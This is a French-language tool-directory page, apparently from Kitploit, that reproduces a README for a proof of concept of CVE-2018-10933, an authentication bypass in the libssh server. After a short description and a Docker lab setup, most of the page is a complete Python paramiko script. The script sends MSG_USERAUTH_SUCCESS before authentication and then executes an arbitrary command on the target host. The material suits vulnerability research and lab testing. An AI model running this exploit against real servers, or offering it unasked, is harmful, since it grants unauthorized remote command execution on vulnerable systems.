Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Libssh-server-CVE-2018-10933 — Preuve de concept pour CVE-2018-10933, démontrant un contournement d'authentification SSH via l'injection de MSG_USERAUTH_SUCCESS. Inclut une configuration Docker et un script Python pour l'exécution de commandes à distance. | Kitploit
Outils/GitHubGitHub/cyberharsh/libssh-server-cve-2018-10933
Analyse des VulnérabilitésExploitationSécurité RéseauTests d'IntrusionAuthentificationExploitation de Binaires
GitHubcyberharsh/libssh-server-cve-2018-10933

Libssh-server-CVE-2018-10933

Preuve de concept pour CVE-2018-10933, démontrant un contournement d'authentification SSH via l'injection de MSG_USERAUTH_SUCCESS. Inclut une configuration Docker et un script Python pour l'exécution de commandes à distance.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 6 ansPas encore vérifié

Vulnérabilité de contournement d'authentification libssh (CVE-2018-10933)

中文版本(version chinoise)

libssh est une bibliothèque C multiplateforme implémentant le protocole SSHv2 côté client et serveur. Une vulnérabilité logique a été découverte dans la machine d'état côté serveur de libssh. L'attaquant peut envoyer le message MSG_USERAUTH_SUCCESS avant la réussite de l'authentification. Cela permet de contourner l'authentification et d'accéder au serveur SSH cible.

Références :

  • https://www.libssh.org/security/advisories/CVE-2018-10933.txt
  • https://www.seebug.org/vuldb/ssvid-97614

Mise en place

Démarrer l'environnement :

root@kitploit:~
docker-compose up -d

Une fois l'environnement démarré, nous pouvons nous connecter au port your-ip:2222 (compte mot de passe : myuser:mypassword), qui est une connexion SSH valide :

Exploitation

En se référant au POC donné dans https://www.seebug.org/vuldb/ssvid-97614, nous pouvons utiliser le script suivant pour prouver la vulnérabilité.

root@kitploit:~
#!/usr/bin/env python3
import sys
import paramiko
import socket
import logging

logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
bufsize = 2048


def execute(hostname, port, command):
    sock = socket.socket()
    try:
        sock.connect((hostname, int(port)))

        message = paramiko.message.Message()
        transport = paramiko.transport.Transport(sock)
        transport.start_client()

        message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
        transport._send_message(message)

        client = transport.open_session(timeout=10)
        client.exec_command(command)

        # stdin = client.makefile("wb", bufsize)
        stdout = client.makefile("rb", bufsize)
        stderr = client.makefile_stderr("rb", bufsize)

        output = stdout.read()
        error = stderr.read()

        stdout.close()
        stderr.close()

        return (output+error).decode()
    except paramiko.SSHException as e:
        logging.exception(e)
        logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
    except socket.error:
        logging.debug("Unable to connect.")

    return None


if __name__ == '__main__':
    print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))

Vous pouvez exécuter des commandes arbitraires sur le serveur cible comme suit :

Télécharger l’outil